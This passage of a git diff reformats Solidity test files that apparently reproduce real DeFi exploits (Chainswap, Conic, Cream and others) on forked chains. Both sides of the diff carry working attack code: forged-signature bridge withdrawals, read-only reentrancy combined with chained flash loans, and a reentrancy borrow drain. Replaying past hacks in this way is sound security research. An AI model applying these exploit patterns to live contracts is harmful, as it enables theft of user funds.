BUSDT.balanceOf(address(DPPOracle1)), address(this), new bytes(1)); emit log_named_decimal_uint( "Attacker balance of BUSDT after exploit", BUSDT.balanceOf(address(this)), BUSDT.decimals() - ); + ); } function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external { diff --git a/src/test/Cellframe_exp.sol b/src/test/Cellframe_exp.sol index 797e3da4..0e3fa315 100644 --- a/src/test/Cellframe_exp.sol +++ b/src/test/Cellframe_exp.sol @@ -69,7 +69,7 @@ contract ContractTest is Test { deal(address(WBNB), address(this), 0.1 ether); emit log_named_decimal_uint( "Attacker WBNB balance before attack", WBNB.balanceOf(address(this)), WBNB.decimals() - ); + ); // Preparation. Pre-attack transaction WBNB.approve(address(Router), type(uint256).max); @@ -95,7 +95,7 @@ contract ContractTest is Test { emit log_named_decimal_uint( "Attacker WBNB balance after attack", WBNB.balanceOf(address(this)), WBNB.decimals() - ); + ); } function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external { diff --git a/src/test/Chainswap_exp1.sol b/src/test/Chainswap_exp1.sol index af45c51a..534a723b 100644 --- a/src/test/Chainswap_exp1.sol +++ b/src/test/Chainswap_exp1.sol @@ -1,55 +1,79 @@ -// SPDX-License-Identifier: UNLICENSED -// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !! -pragma solidity >=0.6.0 <0.9.0; - -import "forge-std/Test.sol"; -import "./interface.sol"; - -struct Signature { - address signatory; - uint8 v; - bytes32 r; - bytes32 s; -} - -interface IChainswap { - function receive(uint256 fromChainId, address to, uint256 nonce, uint256 volume, Signature[] memory signatures) virtual external payable; -} - -contract ContractTest is DSTest { - address exploiter = 0x941a9E3B91E1cc015702B897C512D265fAE88A9c; - address proxy = 0x7fe68FC06e1A870DcbeE0acAe8720396DC12FC86; - address impl = 0x373CE6Da1AEB73A9bcA412F2D3b7eD07Af3AD490; - - CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); - - function setUp() public { - cheats.createSelectFork("mainnet", 12751487); // fork mainnet at block 13125070 - // https://etherscan.io/tx/0x5c5688a9f981a07ed509481352f12f22a4bd7cea46a932c6d6bbe67cca3c54be - } - - function testExploit() public { - Signature[] memory sigs = new Signature[](4); - sigs[0] = Signature({signatory: 0x8C46b006D1c01739E8f71119AdB8c6084F739359, v: 27, r: 0x7b9ce0f78253f7dcf8bf6a2d7a4c38a151eba15eefe6b355a67a373653192765, s: 0x0a4b99389149cc4f7f6051299145c113f5aa50dccf19f748516c4c977f475d6c}); - sigs[1] = Signature({signatory: 0x4F559d3c39C3F3d408aFBFB27C44B94badA8dEd5, v: 27, r: 0x692e284a3efd148d6dd23b44055740fac7154a482fbeff7f2cc4acf4002fa62d, s: 0x1134236483ad360a775e6c22100f83ba5091115323417205cfbd4ae898cd0bc2}); - sigs[2] = Signature({signatory: 0x6EA6D36d73cF8ccD629Fbc5704eE356144A89A06, v: 28, r: 0x9ca27b8ec05746c43cd67e0099015ea9b88bdf34e8acfd6ace9dd63b8a320433, s: 0x1d4aaa253afc6c5d5f893d4a572de830538aeef3b65cb6ff3bb6fec738a899d0}); - - proxy.call(abi.encodeWithSignature("receive(uint256,address,uint256,uint256, Signature[])", 1, exploiter, 1, 19392277118050930170440, sigs)); - // function receive(uint256 fromChainId, address to, uint256 nonce, uint256 volume, Signature[] memory signatures) virtual external payable { - // _chargeFee(); - // require(received[fromChainId][to][nonce] == 0, 'withdrawn already'); - // uint N = signatures.length; - // require(N >= Factory(factory).getConfig(_minSignatures_), 'too few signatures'); - // for(uint i=0; i=0.6.0 <0.9.0; + +import "forge-std/Test.sol"; +import "./interface.sol"; + +struct Signature { + address signatory; + uint8 v; + bytes32 r; + bytes32 s; +} + +// interface IChainswap { +// function receive(uint256 fromChainId, address to, uint256 nonce, uint256 volume, Signature[] memory signatures) virtual external payable; +// } + +contract ContractTest is DSTest { + address exploiter = 0x941a9E3B91E1cc015702B897C512D265fAE88A9c; + address proxy = 0x7fe68FC06e1A870DcbeE0acAe8720396DC12FC86; + address impl = 0x373CE6Da1AEB73A9bcA412F2D3b7eD07Af3AD490; + + CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); + + function setUp() public { + cheats.createSelectFork("mainnet", 12_751_487); // fork mainnet at block 13125070 + // https://etherscan.io/tx/0x5c5688a9f981a07ed509481352f12f22a4bd7cea46a932c6d6bbe67cca3c54be + } + + function testExploit() public { + Signature[] memory sigs = new Signature[](4); + sigs[0] = Signature({ + signatory: 0x8C46b006D1c01739E8f71119AdB8c6084F739359, + v: 27, + r: 0x7b9ce0f78253f7dcf8bf6a2d7a4c38a151eba15eefe6b355a67a373653192765, + s: 0x0a4b99389149cc4f7f6051299145c113f5aa50dccf19f748516c4c977f475d6c + }); + sigs[1] = Signature({ + signatory: 0x4F559d3c39C3F3d408aFBFB27C44B94badA8dEd5, + v: 27, + r: 0x692e284a3efd148d6dd23b44055740fac7154a482fbeff7f2cc4acf4002fa62d, + s: 0x1134236483ad360a775e6c22100f83ba5091115323417205cfbd4ae898cd0bc2 + }); + sigs[2] = Signature({ + signatory: 0x6EA6D36d73cF8ccD629Fbc5704eE356144A89A06, + v: 28, + r: 0x9ca27b8ec05746c43cd67e0099015ea9b88bdf34e8acfd6ace9dd63b8a320433, + s: 0x1d4aaa253afc6c5d5f893d4a572de830538aeef3b65cb6ff3bb6fec738a899d0 + }); + + proxy.call( + abi.encodeWithSignature( + "receive(uint256,address,uint256,uint256, Signature[])", + 1, + exploiter, + 1, + 19_392_277_118_050_930_170_440, + sigs + ) + ); + // function receive(uint256 fromChainId, address to, uint256 nonce, uint256 volume, Signature[] memory signatures) virtual external payable { + // _chargeFee(); + // require(received[fromChainId][to][nonce] == 0, 'withdrawn already'); + // uint N = signatures.length; + // require(N >= Factory(factory).getConfig(_minSignatures_), 'too few signatures'); + // for(uint i=0; i=0.7.0 <0.9.0; - -import "forge-std/Test.sol"; -import "./interface.sol"; - -struct Signature { - address signatory; - uint8 v; - bytes32 r; - bytes32 s; -} - -interface IChainswap { - function receive(uint256 fromChainId, address to, uint256 nonce, uint256 volume, Signature[] memory signatures) virtual external payable; -} - -contract ContractTest is DSTest { - address exploiter = 0xEda5066780dE29D00dfb54581A707ef6F52D8113; - address proxy = 0x089165ac9a7Bf61833Da86268F34A01652543466; - address impl = 0xc5185d2c68aAa7c5f0921948f8135d01510D647F; - - CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); - - function setUp() public { - cheats.createSelectFork("bsc", 9042274); // fork mainnet at block 13125070 - } - - function testExploit() public { - // https://bscscan.com/tx/0x83b4adaf73ad34c5c53aa9b805579ed74bc1391c5297201e6457cde709dff723 - Signature[] memory sigs = new Signature[](1); - sigs[0] = Signature({signatory: 0xF1790Ac4900F761F677107de65CE6Ed65f952A7c, v: 28, r: 0x961afd291dbcec7dc1b0fa28f989f805fe1acdb18fcf2369d434710cde4c03ac, s: 0x39884d4ef7e88e9b70b0135fca3dd2a97e806ead11e38aa6e75f550724962910}); - - proxy.call(abi.encodeWithSignature("receive(uint256,address,uint256,uint256, Signature[])", 1, exploiter, 0, 500000000000000000000000, sigs)); - } - - receive() external payable {} -} +// SPDX-License-Identifier: UNLICENSED +// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !! +pragma solidity >=0.7.0 <0.9.0; + +import "forge-std/Test.sol"; +import "./interface.sol"; + +struct Signature { + address signatory; + uint8 v; + bytes32 r; + bytes32 s; +} + +// interface IChainswap { +// function receive(uint256 fromChainId, address to, uint256 nonce, uint256 volume, Signature[] memory signatures) virtual external payable; +// } + +contract ContractTest is DSTest { + address exploiter = 0xEda5066780dE29D00dfb54581A707ef6F52D8113; + address proxy = 0x089165ac9a7Bf61833Da86268F34A01652543466; + address impl = 0xc5185d2c68aAa7c5f0921948f8135d01510D647F; + + CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); + + function setUp() public { + cheats.createSelectFork("bsc", 9_042_274); // fork mainnet at block 13125070 + } + + function testExploit() public { + // https://bscscan.com/tx/0x83b4adaf73ad34c5c53aa9b805579ed74bc1391c5297201e6457cde709dff723 + Signature[] memory sigs = new Signature[](1); + sigs[0] = Signature({ + signatory: 0xF1790Ac4900F761F677107de65CE6Ed65f952A7c, + v: 28, + r: 0x961afd291dbcec7dc1b0fa28f989f805fe1acdb18fcf2369d434710cde4c03ac, + s: 0x39884d4ef7e88e9b70b0135fca3dd2a97e806ead11e38aa6e75f550724962910 + }); + + proxy.call( + abi.encodeWithSignature( + "receive(uint256,address,uint256,uint256, Signature[])", + 1, + exploiter, + 0, + 500_000_000_000_000_000_000_000, + sigs + ) + ); + } + + receive() external payable {} +} diff --git a/src/test/Civfund_exp.sol b/src/test/Civfund_exp.sol index 32f66ca4..aa655efa 100644 --- a/src/test/Civfund_exp.sol +++ b/src/test/Civfund_exp.sol @@ -121,35 +121,35 @@ contract ContractTest is Test { emit log_named_decimal_uint( "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals() - ); + ); emit log_named_decimal_uint( "Attacker BONE balance after exploit", BONE.balanceOf(address(this)), BONE.decimals() - ); + ); emit log_named_decimal_uint( "Attacker WOOF balance after exploit", WOOF.balanceOf(address(this)), WOOF.decimals() - ); + ); emit log_named_decimal_uint( "Attacker LEASH balance after exploit", LEASH.balanceOf(address(this)), LEASH.decimals() - ); + ); emit log_named_decimal_uint( "Attacker SANI balance after exploit", SANI.balanceOf(address(this)), SANI.decimals() - ); + ); emit log_named_decimal_uint("Attacker ONE balance after exploit", ONE.balanceOf(address(this)), ONE.decimals()); emit log_named_decimal_uint( "Attacker CELL balance after exploit", CELL.balanceOf(address(this)), CELL.decimals() - ); + ); emit log_named_decimal_uint( "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals() - ); + ); emit log_named_decimal_uint( "Attacker SHIB balance after exploit", SHIB.balanceOf(address(this)), SHIB.decimals() - ); + ); } // Step 2. This function will be called from vulnerable contract (after step 1). diff --git a/src/test/CompounderFinance_exp.sol b/src/test/CompounderFinance_exp.sol index 3207e019..8b69c399 100644 --- a/src/test/CompounderFinance_exp.sol +++ b/src/test/CompounderFinance_exp.sol @@ -18,10 +18,7 @@ interface IcDAI { function deposit(uint256 _amount, bool _autoStakeInStakingPool) external; - function withdraw( - uint256 _shares, - bool _autoWithdrawInStakingPool - ) external; + function withdraw(uint256 _shares, bool _autoWithdrawInStakingPool) external; } interface IyDAI { @@ -52,16 +49,13 @@ contract ContractTest is Test { IERC20 yUSDT = IERC20(0x83f798e925BcD4017Eb265844FDDAbb448f1707D); IERC20 yTUSD = IERC20(0x73a052500105205d34Daf004eAb301916DA8190f); IERC20 CentreUSDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); - Uni_Pair_V3 DAIUSDCPool = - Uni_Pair_V3(0x5777d92f208679DB4b9778590Fa3CAB3aC9e2168); - ICurveSwap CurveFiSwap = - ICurveSwap(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51); - IStrategyCurve StrategyDAICurve = - IStrategyCurve(0xaf274e912243b19B882f02d731dacd7CD13072D0); + Uni_Pair_V3 DAIUSDCPool = Uni_Pair_V3(0x5777d92f208679DB4b9778590Fa3CAB3aC9e2168); + ICurveSwap CurveFiSwap = ICurveSwap(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51); + IStrategyCurve StrategyDAICurve = IStrategyCurve(0xaf274e912243b19B882f02d731dacd7CD13072D0); CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { - cheats.createSelectFork("mainnet", 17426064); + cheats.createSelectFork("mainnet", 17_426_064); cheats.label(address(DAI), "DAI"); cheats.label(address(cDAI), "cDAI"); cheats.label(address(yDAI), "yDAI"); @@ -75,27 +69,15 @@ contract ContractTest is Test { } function testExploit() public { - emit log_named_decimal_uint( - "Attacker amount of DAI before hack", - DAI.balanceOf(address(this)), - DAI.decimals() - ); + emit log_named_decimal_uint("Attacker amount of DAI before hack", DAI.balanceOf(address(this)), DAI.decimals()); // Step 1. Flashloan 1_239 DAI through Uniswap V3 flash loans DAIUSDCPool.flash(address(this), 1_239_990 * 1e18, 0, ""); - emit log_named_decimal_uint( - "Attacker amount of DAI after hack", - DAI.balanceOf(address(this)), - DAI.decimals() - ); + emit log_named_decimal_uint("Attacker amount of DAI after hack", DAI.balanceOf(address(this)), DAI.decimals()); } - function uniswapV3FlashCallback( - uint256 fee0, - uint256 fee1, - bytes calldata data - ) external { + function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external { // Approvals DAI.approve(address(yDAI), type(uint256).max); DAI.approve(address(cDAI), type(uint256).max); diff --git a/src/test/Conic02_exp.sol b/src/test/Conic02_exp.sol index 70437f85..a864fce4 100644 --- a/src/test/Conic02_exp.sol +++ b/src/test/Conic02_exp.sol @@ -79,7 +79,7 @@ contract ContractTest is Test { emit log_named_decimal_uint( "Attacker crvUSD balance after exploit", crvUSD.balanceOf(address(this)), crvUSD.decimals() - ); + ); } function receiveFlashLoan( diff --git a/src/test/Conic_exp.sol b/src/test/Conic_exp.sol index c2f893ef..191d939c 100644 --- a/src/test/Conic_exp.sol +++ b/src/test/Conic_exp.sol @@ -98,7 +98,7 @@ contract ContractTest is Test { sellAllTokenToWETH(); emit log_named_decimal_uint( "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals() - ); + ); } function aaveV2Flashloan() internal { @@ -170,14 +170,14 @@ contract ContractTest is Test { "before Read-Only-Reentrancy cbETH_ETH_LP Price", Oracle.getUSDPrice(address(cbETH_ETH_LP)), cbETH_ETH_LP.decimals() - ); + ); reenter_2(); emit log_named_decimal_uint( "before Read-Only-Reentrancy rETH_ETH_LP Price", Oracle.getUSDPrice(address(rETH_ETH_LP)), rETH_ETH_LP.decimals() - ); + ); reenter_3(); // repay flashLoan @@ -204,7 +204,7 @@ contract ContractTest is Test { amount[1] = 0; emit log_named_decimal_uint( "before Read-Only-Reentrancy steCRV Price", Oracle.getUSDPrice(address(steCRV)), steCRV.decimals() - ); + ); nonce++; LidoCurvePool.remove_liquidity(steCRV.balanceOf(address(this)), amount); // burn steCRV, first reentrancy enter point } @@ -240,21 +240,21 @@ contract ContractTest is Test { if (nonce == 1) { emit log_named_decimal_uint( "In Read-Only-Reentrancy steCRV Price", Oracle.getUSDPrice(address(steCRV)), steCRV.decimals() - ); + ); ConicEthPool.handleDepeggedCurvePool(address(LidoCurvePool)); // set LidoCurvePool as depegged pool } else if (nonce == 2) { emit log_named_decimal_uint( "In Read-Only-Reentrancy cbETH_ETH_LP Price", Oracle.getUSDPrice(address(cbETH_ETH_LP)), cbETH_ETH_LP.decimals() - ); + ); ConicEthPool.handleDepeggedCurvePool(address(cbETH_ETH_Pool)); // set cbETH_ETH_Pool as depegged pool } else if (nonce == 3) { emit log_named_decimal_uint( "In Read-Only-Reentrancy rETH_ETH_LP Price", Oracle.getUSDPrice(address(rETH_ETH_LP)), rETH_ETH_LP.decimals() - ); + ); ConicEthPool.withdraw(6292 ether, 0); // withdraw assets from ConicEthPool nonce++; } diff --git a/src/test/Conic_exp2.sol b/src/test/Conic_exp2.sol index f1822805..524951bb 100644 --- a/src/test/Conic_exp2.sol +++ b/src/test/Conic_exp2.sol @@ -14,21 +14,13 @@ import "./interface.sol"; // https://twitter.com/BlockSecTeam/status/1682346827939717120 interface IConic { - function deposit( - uint256 underlyingAmount, - uint256 minLpReceived, - bool stake - ) external returns (uint256); + function deposit(uint256 underlyingAmount, uint256 minLpReceived, bool stake) external returns (uint256); function handleDepeggedCurvePool(address curvePool_) external; - function withdraw( - uint256 conicLpAmount, - uint256 minUnderlyingReceived - ) external returns (uint256); + function withdraw(uint256 conicLpAmount, uint256 minUnderlyingReceived) external returns (uint256); } - contract ConicFinanceTest is Test { IWETH WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)); IERC20 rETH = IERC20(0xae78736Cd615f374D3085123A210448E74Fc6393); @@ -38,24 +30,18 @@ contract ConicFinanceTest is Test { IERC20 cbETH_ETHf = IERC20(0x5b6C539b224014A09B3388e51CaAA8e354c959C8); IERC20 rETH_ETHf = IERC20(0x6c38cE8984a890F5e46e6dF6117C26b3F1EcfC9C); IERC20 cncETH = IERC20(0x3565A68666FD3A6361F06f84637E805b727b4A47); - IBalancerVault BalancerVault = - IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8); - IAaveFlashloan AaveV2 = - IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); - IAaveFlashloan AaveV3 = - IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2); + IBalancerVault BalancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8); + IAaveFlashloan AaveV2 = IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); + IAaveFlashloan AaveV3 = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2); IConic ConicPool = IConic(0xBb787d6243a8D450659E09ea6fD82F1C859691e9); - address private constant lidoPool = - 0xDC24316b9AE028F1497c275EB9192a3Ea0f67022; - address private constant vyperContract1 = - 0x0f3159811670c117c372428D4E69AC32325e4D0F; - address private constant vyperContract2 = - 0x5FAE7E604FC3e24fd43A72867ceBaC94c65b404A; + address private constant lidoPool = 0xDC24316b9AE028F1497c275EB9192a3Ea0f67022; + address private constant vyperContract1 = 0x0f3159811670c117c372428D4E69AC32325e4D0F; + address private constant vyperContract2 = 0x5FAE7E604FC3e24fd43A72867ceBaC94c65b404A; CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { - cheats.createSelectFork("mainnet", 17740954); + cheats.createSelectFork("mainnet", 17_740_954); cheats.label(address(WETH), "WETH"); cheats.label(address(rETH), "rETH"); cheats.label(address(stETH), "stETH"); @@ -75,11 +61,7 @@ contract ConicFinanceTest is Test { function testExploit() public { deal(address(this), 0 ether); - emit log_named_decimal_uint( - "Attacker balance of ETH before exploit", - address(this).balance, - 18 - ); + emit log_named_decimal_uint("Attacker balance of ETH before exploit", address(this).balance, 18); WETH.approve(vyperContract1, type(uint256).max); rETH.approve(vyperContract1, type(uint256).max); WETH.approve(lidoPool, type(uint256).max); @@ -97,24 +79,12 @@ contract ConicFinanceTest is Test { uint256[] memory modes = new uint256[](1); modes[0] = 0; - AaveV2.flashLoan( - address(this), - assets, - amounts, - modes, - address(this), - bytes(""), - 0 - ); + AaveV2.flashLoan(address(this), assets, amounts, modes, address(this), bytes(""), 0); exchangeVyper(vyperContract2, cbETH.balanceOf(address(this)), 1, 0); exchangeLidoStETH(); exchangeVyper(vyperContract1, rETH.balanceOf(address(this)), 1, 0); WETH.withdraw(WETH.balanceOf(address(this))); - emit log_named_decimal_uint( - "Attacker balance of ETH after exploit", - address(this).balance, - 18 - ); + emit log_named_decimal_uint("Attacker balance of ETH after exploit", address(this).balance, 18); } function executeOperation( @@ -124,13 +94,7 @@ contract ConicFinanceTest is Test { address initiator, bytes memory params ) external returns (bool) { - AaveV3.flashLoanSimple( - address(this), - address(cbETH), - 850e18, - bytes(""), - 0 - ); + AaveV3.flashLoanSimple(address(this), address(cbETH), 850e18, bytes(""), 0); return true; } @@ -147,7 +111,7 @@ contract ConicFinanceTest is Test { tokens[2] = address(WETH); uint256[] memory amounts = new uint256[](3); amounts[0] = 20_550 * 1e18; - amounts[1] = 3_000 * 1e18; + amounts[1] = 3000 * 1e18; amounts[2] = 28_504_200 * 1e15; BalancerVault.flashLoan(address(this), tokens, amounts, bytes("")); return true; @@ -165,18 +129,18 @@ contract ConicFinanceTest is Test { WETH.withdraw(20_000 * 1e18); addLiquidityToLido(); removeLiquidityFromLido(); - WETH.withdraw(WETH.balanceOf(address(this)) - 4_200 * 1e15); + WETH.withdraw(WETH.balanceOf(address(this)) - 4200 * 1e15); interactWithVyperContract2(); interactWithVyperContract1(); exchangeVyper(vyperContract2, 850e18, 0, 1); ConicPool.withdraw(cncETH.balanceOf(address(this)), 0); WETH.deposit{value: address(this).balance}(); - exchangeVyper(vyperContract1, 1_100 * 1e18, 0, 1); + exchangeVyper(vyperContract1, 1100 * 1e18, 0, 1); WETH.withdraw(300e18); exchangeLidoWETH(); // Repay flashloan rETH.transfer(address(BalancerVault), 20_550 * 1e18); - cbETH.transfer(address(BalancerVault), 3_000 * 1e18); + cbETH.transfer(address(BalancerVault), 3000 * 1e18); WETH.transfer(address(BalancerVault), 28_504_200 * 1e15); } @@ -192,128 +156,64 @@ contract ConicFinanceTest is Test { } function depositAndExchange(uint256 dx, uint256 i, uint256 j) internal { - ConicPool.deposit(1_214 * 1e18, 0, false); + ConicPool.deposit(1214 * 1e18, 0, false); exchangeVyper(vyperContract2, dx, i, j); exchangeVyper(vyperContract1, dx, i, j); } - function exchangeVyper( - address contractAddr, - uint256 dx, - uint256 i, - uint256 j - ) internal { - (bool success, ) = contractAddr.call( - abi.encodeWithSelector( - bytes4(0xce7d6503), - i, - j, - dx, - 0, - false, - address(this) - ) - ); + function exchangeVyper(address contractAddr, uint256 dx, uint256 i, uint256 j) internal { + (bool success,) = + contractAddr.call(abi.encodeWithSelector(bytes4(0xce7d6503), i, j, dx, 0, false, address(this))); require(success, "Exchange Vyper not successful"); } function exchangeLidoWETH() internal { - (bool success, ) = lidoPool.call{value: 300 ether}( - abi.encodeWithSelector(bytes4(0x3df02124), 0, 1, 300e18, 0) - ); + (bool success,) = lidoPool.call{value: 300 ether}(abi.encodeWithSelector(bytes4(0x3df02124), 0, 1, 300e18, 0)); require(success, "Exchange Lido not successful"); } function exchangeLidoStETH() internal { - (bool success, ) = lidoPool.call( - abi.encodeWithSelector( - bytes4(0x3df02124), - 1, - 0, - stETH.balanceOf(address(this)), - 0 - ) - ); + (bool success,) = + lidoPool.call(abi.encodeWithSelector(bytes4(0x3df02124), 1, 0, stETH.balanceOf(address(this)), 0)); require(success, "Exchange Lido not successful"); } function addLiquidityToLido() internal { - (bool success, ) = lidoPool.call{value: 20000 ether}( - abi.encodeWithSelector( - bytes4(0x0b4c7e4d), - [20_000 * 1e18, stETH.balanceOf(address(this))], - 0 - ) + (bool success,) = lidoPool.call{value: 20_000 ether}( + abi.encodeWithSelector(bytes4(0x0b4c7e4d), [20_000 * 1e18, stETH.balanceOf(address(this))], 0) ); require(success, "Add liquidity to Lido not successful"); } - function addLiquidityToVyperContract( - address vyperContract, - uint256 amount1, - uint256 amount2 - ) internal { - (bool success, ) = vyperContract.call( - abi.encodeWithSelector( - bytes4(0x7328333b), - [amount1, amount2], - 0, - false, - address(this) - ) - ); + function addLiquidityToVyperContract(address vyperContract, uint256 amount1, uint256 amount2) internal { + (bool success,) = + vyperContract.call(abi.encodeWithSelector(bytes4(0x7328333b), [amount1, amount2], 0, false, address(this))); require(success, "Add liquidity to Vyper contract not successful"); } function removeLiquidityFromLido() internal { - (bool success, ) = lidoPool.call( - abi.encodeWithSelector( - bytes4(0x5b36389c), - steCRV.balanceOf(address(this)), - [0, 0] - ) - ); + (bool success,) = + lidoPool.call(abi.encodeWithSelector(bytes4(0x5b36389c), steCRV.balanceOf(address(this)), [0, 0])); require(success, "Remove liquidity from Lido not successful"); } - function removeLiquidityFromVyperContract( - address vyperContract, - uint256 amount - ) internal { - (bool success, ) = vyperContract.call( - abi.encodeWithSelector( - bytes4(0x1808e84a), - amount, - [0, 0], - true, - address(this) - ) - ); + function removeLiquidityFromVyperContract(address vyperContract, uint256 amount) internal { + (bool success,) = + vyperContract.call(abi.encodeWithSelector(bytes4(0x1808e84a), amount, [0, 0], true, address(this))); require(success, "Remove liquidity from Vyper contract not successful"); } function interactWithVyperContract2() internal { exchangeVyper(vyperContract2, cbETH.balanceOf(address(this)), 1, 0); - addLiquidityToVyperContract(vyperContract2, 1_800 * 1e15, 0); - removeLiquidityFromVyperContract( - vyperContract2, - cbETH_ETHf.balanceOf(address(this)) - ); - exchangeVyper( - vyperContract2, - WETH.balanceOf(address(this)) - 10e18, - 0, - 1 - ); + addLiquidityToVyperContract(vyperContract2, 1800 * 1e15, 0); + removeLiquidityFromVyperContract(vyperContract2, cbETH_ETHf.balanceOf(address(this))); + exchangeVyper(vyperContract2, WETH.balanceOf(address(this)) - 10e18, 0, 1); } function interactWithVyperContract1() internal { exchangeVyper(vyperContract1, rETH.balanceOf(address(this)), 1, 0); - addLiquidityToVyperContract(vyperContract1, 2_400 * 1e15, 0); - removeLiquidityFromVyperContract( - vyperContract1, - rETH_ETHf.balanceOf(address(this)) - ); + addLiquidityToVyperContract(vyperContract1, 2400 * 1e15, 0); + removeLiquidityFromVyperContract(vyperContract1, rETH_ETHf.balanceOf(address(this))); exchangeVyper(vyperContract1, 3_425_879_111_748_706_429_367, 0, 1); } } diff --git a/src/test/Cover_exp.sol b/src/test/Cover_exp.sol index ecf8fac0..98678942 100644 --- a/src/test/Cover_exp.sol +++ b/src/test/Cover_exp.sol @@ -36,6 +36,6 @@ contract ContractTest is DSTest { bs.claimRewards(address(bpt)); emit log_named_uint( "After claimRewards, Cover Balance", Cover.balanceOf(0x00007569643bc1709561ec2E86F385Df3759e5DD) - ); + ); } } diff --git a/src/test/Cream_exp.sol b/src/test/Cream_exp.sol index ac2dfeb8..3a64da96 100644 --- a/src/test/Cream_exp.sol +++ b/src/test/Cream_exp.sol @@ -1,102 +1,78 @@ -// SPDX-License-Identifier: UNLICENSED -// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !! -pragma solidity >=0.7.0 <0.9.0; - -import "forge-std/Test.sol"; -import "./interface.sol"; - -contract ContractTest is DSTest { - AMP amp = AMP(0xfF20817765cB7f73d4bde2e66e067E58D11095C2); - - IERC1820Registry ierc1820 = - IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); - - bytes32 constant TOKENS_RECIPIENT_INTERFACE_HASH = - 0xfa352d6368bbc643bcf9d528ffaba5dd3e826137bc42f935045c6c227bd4c72a; - - Uni_Pair_V2 uni = Uni_Pair_V2(0xd3d2E2692501A5c9Ca623199D38826e513033a17); - - address constant WTH9_AMP_Pair_Address = - 0x08650bb9dc722C9c8C62E79C2BAfA2d3fc5B3293; - address constant uin_WTH9_Pair_Address = - 0xd3d2E2692501A5c9Ca623199D38826e513033a17; - - WETH9 weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); - - crETH creth = crETH(0xD06527D5e56A3495252A528C4987003b712860eE); - - crAMP cramp = crAMP(0x2Db6c82CE72C8d7D770ba1b5F5Ed0b6E075066d6); - - Uni_Router_V2 unirouterv2 = - Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); - address constant UniswapV2Router02_address = - 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; - address constant crETH_Address = 0xD06527D5e56A3495252A528C4987003b712860eE; - - address public mywallet; - - address[] path = [ - 0xfF20817765cB7f73d4bde2e66e067E58D11095C2, - 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 - ]; - CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); - - function setUp() public { - cheats.createSelectFork("mainnet", 13125070); // fork mainnet at block 13125070 - } - - function test() public { - payable(address(0)).transfer(address(this).balance); - ierc1820.setInterfaceImplementer( - address(this), - TOKENS_RECIPIENT_INTERFACE_HASH, - address(this) - ); - - mywallet = msg.sender; - uni.swap(0, 500 * 1e18, address(this), "0x00"); - emit log_named_uint( - "Exploit completed, WETH Balance", - weth.balanceOf(mywallet) - ); - } - - function uniswapV2Call( - address sender, - uint256 amount0, - uint256 amount1, - bytes calldata data - ) external { - weth.withdraw(500 * 1e18); - creth.mint{ value: 500 * 1e18 }(); - creth.borrow(1 * 1e18); - cramp.accrueInterest(); - cramp.borrow(19480000000000000000000000); - weth.deposit{ value: address(this).balance, gas: 40000 }(); - amp.approve(UniswapV2Router02_address, 19480000000000000000000000000); - unirouterv2.swapExactTokensForTokens( - 19480000000000000000000000, - 1, - path, - address(this), - block.timestamp - ); - weth.transfer(uin_WTH9_Pair_Address, 502 * 1e18); - weth.transfer(mywallet, weth.balanceOf(address(this))); - } - - function tokensReceived( - bytes4 functionSig, - bytes32 partition, - address operator, - address from, - address to, - uint256 value, - bytes calldata data, - bytes calldata operatorData - ) external { - crETH(crETH_Address).borrow(354 * 1e18); - } - - receive() external payable {} -} +// SPDX-License-Identifier: UNLICENSED +// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !! +pragma solidity >=0.7.0 <0.9.0; + +import "forge-std/Test.sol"; +import "./interface.sol"; + +contract ContractTest is DSTest { + AMP amp = AMP(0xfF20817765cB7f73d4bde2e66e067E58D11095C2); + + IERC1820Registry ierc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); + + bytes32 constant TOKENS_RECIPIENT_INTERFACE_HASH = + 0xfa352d6368bbc643bcf9d528ffaba5dd3e826137bc42f935045c6c227bd4c72a; + + Uni_Pair_V2 uni = Uni_Pair_V2(0xd3d2E2692501A5c9Ca623199D38826e513033a17); + + address constant WTH9_AMP_Pair_Address = 0x08650bb9dc722C9c8C62E79C2BAfA2d3fc5B3293; + address constant uin_WTH9_Pair_Address = 0xd3d2E2692501A5c9Ca623199D38826e513033a17; + + 